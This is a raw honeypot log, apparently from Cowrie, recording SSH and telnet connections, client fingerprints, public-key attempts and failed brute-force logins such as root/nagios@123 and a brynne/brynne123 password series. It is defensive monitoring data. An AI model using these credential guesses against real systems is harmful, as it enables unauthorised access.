{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:98:e3:b8:96:e6:ae:43:ce:a3:25:2a:6c:0f:1b:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTznbJEFF6aKaW35LueQnqPFeeLqG1PROmQ+WxpTSizKVek6fbsyZ7jHHR5PAs0++LMYeloiorfYhungR5S0hsKIiIoRbSnshQGPHiju8BZn89cAjz3RDl3syuN7Hu12z7uVv6kwDvJnf7BmMRL+00VSBeBspKB1rT80AES1HqU4SlAshVC2fektB0XqYmvagSQKyOsrnKhchPGCqPFHrHyupmH6JBCDlYDL/rqsoYDwkFkYydu5wyMRFT36JFl9AVZ/8DflnLw/hZ5imX/jkyjuqslnq2splDuFYxWCUC3JWSVV87kiAV+ol/gT8oA1+J9b4xf1QZ10HJaXmSYRScZiw229jNqc40mJqDiblRwfNbu6sM6Q74ShwjCHzonyluKAIXtPeoev9M/eom/eLWuzkxx8eFByWVfrLI2ebL8x5Eh7EnoFd3joByj0B87N9vypff/bsiVBoC91ee07tG21/kWrYPPQ74s3FjEvecW6cLQNGIZWjqvrsldHvXoLzzc13kx9d1bJnUnbNLb0WO3p2hCT196HBmAcH7rgxvqronna2sJ0xDCmIb43O9obAlQkMAvNj74kYu+HwxIrMq3tikDvTMmJzKWSoYiBsKbPLHjNoWvpbvrV8W3In5Pdatnz0yXPl/2VORreP5aQqBaUKRYydAdZbFQ7XNJIAdKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.134074Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.150919Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.130688667297363,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:06.821463Z","src_ip":"167.71.238.254","session":"23b11283eb5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":57527,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5231f3566ec","protocol":"ssh","message":"New connection: 41.181.156.205:57527 (159.203.135.109:22) [session: f5231f3566ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:07.410851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:07.414711Z","src_ip":"41.181.156.205","session":"f5231f3566ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:07.663547Z","src_ip":"41.181.156.205","session":"f5231f3566ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:08.692446Z","src_ip":"41.181.156.205","session":"f5231f3566ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:09.945482Z","src_ip":"41.181.156.205","session":"f5231f3566ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":40164,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a63e56e5d6","protocol":"ssh","message":"New connection: 163.245.222.56:40164 (159.203.135.109:22) [session: f4a63e56e5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:12.317693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:12.322857Z","src_ip":"163.245.222.56","session":"f4a63e56e5d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:12.330923Z","src_ip":"163.245.222.56","session":"f4a63e56e5d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nagios@123","message":"login attempt [root/nagios@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:12.396733Z","src_ip":"163.245.222.56","session":"f4a63e56e5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:13.405151Z","src_ip":"163.245.222.56","session":"f4a63e56e5d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":49093,"dst_ip":"10.17.0.5","dst_port":22,"session":"808bcf65e377","protocol":"ssh","message":"New connection: 27.74.248.52:49093 (10.17.0.5:22) [session: 808bcf65e377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:16.479860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:16.483979Z","src_ip":"27.74.248.52","session":"808bcf65e377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:16.939501Z","src_ip":"27.74.248.52","session":"808bcf65e377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:18.393140Z","src_ip":"27.74.248.52","session":"808bcf65e377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:19.922710Z","src_ip":"27.74.248.52","session":"808bcf65e377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":7584,"dst_ip":"159.203.135.109","dst_port":22,"session":"be00ee392d59","protocol":"ssh","message":"New connection: 193.46.255.86:7584 (159.203.135.109:22) [session: be00ee392d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:38.692276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:38.697186Z","src_ip":"193.46.255.86","session":"be00ee392d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:38.827936Z","src_ip":"193.46.255.86","session":"be00ee392d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:39.424091Z","src_ip":"193.46.255.86","session":"be00ee392d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:40.557512Z","src_ip":"193.46.255.86","session":"be00ee392d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":23931,"dst_ip":"159.203.135.109","dst_port":22,"session":"66c9a0e97a32","protocol":"ssh","message":"New connection: 205.254.166.156:23931 (159.203.135.109:22) [session: 66c9a0e97a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:53.567618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:53.572414Z","src_ip":"205.254.166.156","session":"66c9a0e97a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:53.784771Z","src_ip":"205.254.166.156","session":"66c9a0e97a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc123","message":"login attempt [root/idc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:54.668042Z","src_ip":"205.254.166.156","session":"66c9a0e97a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:55.888015Z","src_ip":"205.254.166.156","session":"66c9a0e97a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":43712,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e4903d99ea","protocol":"ssh","message":"New connection: 213.209.159.56:43712 (159.203.135.109:22) [session: d1e4903d99ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:57.083555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:57.087768Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:57.169333Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne","message":"login attempt [brynne/brynne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:57.570868Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne1","message":"login attempt [brynne/brynne1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:58.655125Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne123","message":"login attempt [brynne/brynne123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:59.740549Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne1234","message":"login attempt [brynne/brynne1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:00.825930Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne12345","message":"login attempt [brynne/brynne12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:01.913230Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:03.009040Z","src_ip":"213.209.159.56","session":"d1e4903d99ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.24.198","src_port":55512,"dst_ip":"10.17.0.5","dst_port":22,"session":"3431b43bc886","protocol":"ssh","message":"New connection: 142.171.24.198:55512 (10.17.0.5:22) [session: 3431b43bc886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:13.829172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:13.836644Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:13.914363Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:8e:27:eb:75:06:16:7c:13:c8:df:cd:9b:9d:78:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl5WhU9MBfs5QaS9Gefv0TWIAQh2+LluRds51MGja22gHV1rj8OseQitFQSDJ2c/AXiYqixvN2CrhG2tGnZkfuiV0763cZG+6wnC8TfivAczN8pAz4tMrQvFFZZSKWoxAOWoB80xn7cyHXeyRndbWwu3VDomqf1lf6MjNK00J5aaAJx+XYayaD6WCLNoUxQc44Usz/x2qHhqN9Elay3qRT/FeECbJvnAHueTumq/mPunlP9I9V4EirZCdrAtGvY7NTYUcy8gvpgZIEi1mfORTRmKnaBykzEJ9fU8KDgblCiTETZy7i/9DV0QB4X+ON+R6H92gyDma+SCDGytsKytH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:8e:27:eb:75:06:16:7c:13:c8:df:cd:9b:9d:78:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.245135Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
